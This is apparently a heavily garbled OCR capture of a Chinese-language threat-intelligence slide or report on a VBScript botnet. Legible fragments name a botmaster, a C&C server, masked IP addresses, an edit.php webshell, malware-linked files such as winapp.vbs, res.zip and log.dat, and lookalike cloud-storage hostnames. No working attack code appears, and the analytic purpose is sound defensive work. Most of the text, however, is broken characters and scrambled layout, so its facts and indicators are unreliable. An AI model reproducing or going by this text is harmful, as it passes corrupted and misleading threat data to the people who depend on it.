93=Uo-MiH 4E" /L T 108 ¥ F1¥Er 2=79158[10 X
zyP
"B reshlog.dat®  OBNE & EBIE
9 EIRe 19 967970 ¢ JHeée HIH  EnExte HE:ERe ilvike oI,
4 WGl _eé 3_f EEN-LENe EeNFiNeFeé
$ 9o I 4EDPE
yPx @999/ 9 =s\106.0  .203.36_313814222_20200325071600 . basPK
yPx @99/ 9 1es\106.  .203.36_415643751_20200325071559 . basPK
zyP
'xE2 @ "res‘loz.datPEER#
- 2, PRy ol ) — _:i — :_\
=~ RREREG TR
EEFH
104.X.28.34
104.X.28.74
| BEFEARIP:140.XX.97 |
W iSres.zip | PEBISIP:61X.159.176 |
P
HESEIE3ERER 196.X.203.36
| fEZBIVB Scripthil & #4TVB Scripthil & 202.X.16.104
| g B - 118.X.196.225
e 22F # 185.X.107.236
51.X.163.54 (TP 4EDh) 34.X.244.255
i g enOr s e s 35.X.210.173
: §gbCklp dat - H 4~ Hostname Aliases (19 items) 185.X9.72
‘fldellt ob\ : up.dig .com (301) - name.own .me (217) - iy
y—.l 4 upload.gdr l.best (173) - docs.gdr .top (163) - 195.X.49.191
.Wlnapp VbS - reS\ H clle:l.clo .space (96) - down.one | .xyzI (:7)- il
: onedrive.one .com (33) - www.clo «Club (11) - 162)(123176
jlog.dat.. SR e e e .y 1 e
' WWW.MiC Jlife (2) - www.bai .com (2) -
| Ef@bckurl dat - TR A 185.X.22256
cfldellty_job\ ' blog.clo -space (1) 64.X.89.10
‘ewinapp.vbs : 196.X.203.102
fidelity_job\ : 104.X.28.178

SE AL

LRBBRFEETLEY T

Botmaster

I IPS1X.163.54 1 s b A E

WA A g B (22 4

s

i

= 46 Botnet & ¢ o

Y 5 3> ;% Botmaster £ ¢ > d #te

)@ E FHRAH T - Bdg 4 bl AT
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Vs

T & p VB Script ~ £ 39 resMlog.dat ~ P~tFres FAL AR BB E o ¥ 0h
% B IP:104.X.28.34 £2 |P:104.X.28.74 P~ res.zip 2. 4 E RN
C&C Server

AL AKT Y BE Mekehbd o f FRBESTABHY B BT

M4 VB Script % 3 A 83 H 7 o

T ABE A RSDFFERT S BREP IPSLFiE VB Script 0 £ 7

BEI WY BABTAENGFY ek TS Mo

1l 25 2228 - S8 a2 m? Bk T A4 TR ELR e

\\f

W5 ¢ T 22 3 83 B editphps @ 22 A8 ¢ w @ & & 0 VB Script %
I*;'&O

e

Z te R T A E 4T VBScript #rAa ~ v B3 8 A B S
79 e g % kRl T %4 TACERT 2020 4 7 # % T4
FREAREEERIN SIS<E S AR CF AR

2. ¥R AT 290 % VB Script %rA 3 I 5 2019 & £ & T APT .9_7%‘*« R

AR RS g AR o

3. MUpELE e A fro st 105 % IP ot I pF IP:51.X.163.54 ¢ 15 6 edit.php

(Webshell 4% %)™ 45 4 > %355~ 22 2 5 Temp\3 T & p 4% -

4. v {)pF IP:51.X.163.54 {4t & R4 F 45 % = 5B~ VB Script & * { #7

Tos -

|k

Fldtres T AN 5 KA F AT F AT logdat 40 FF o

RIP~% log.dat /% ot 3 Bres Tl A ends (T4 & A B-@ X T AP o
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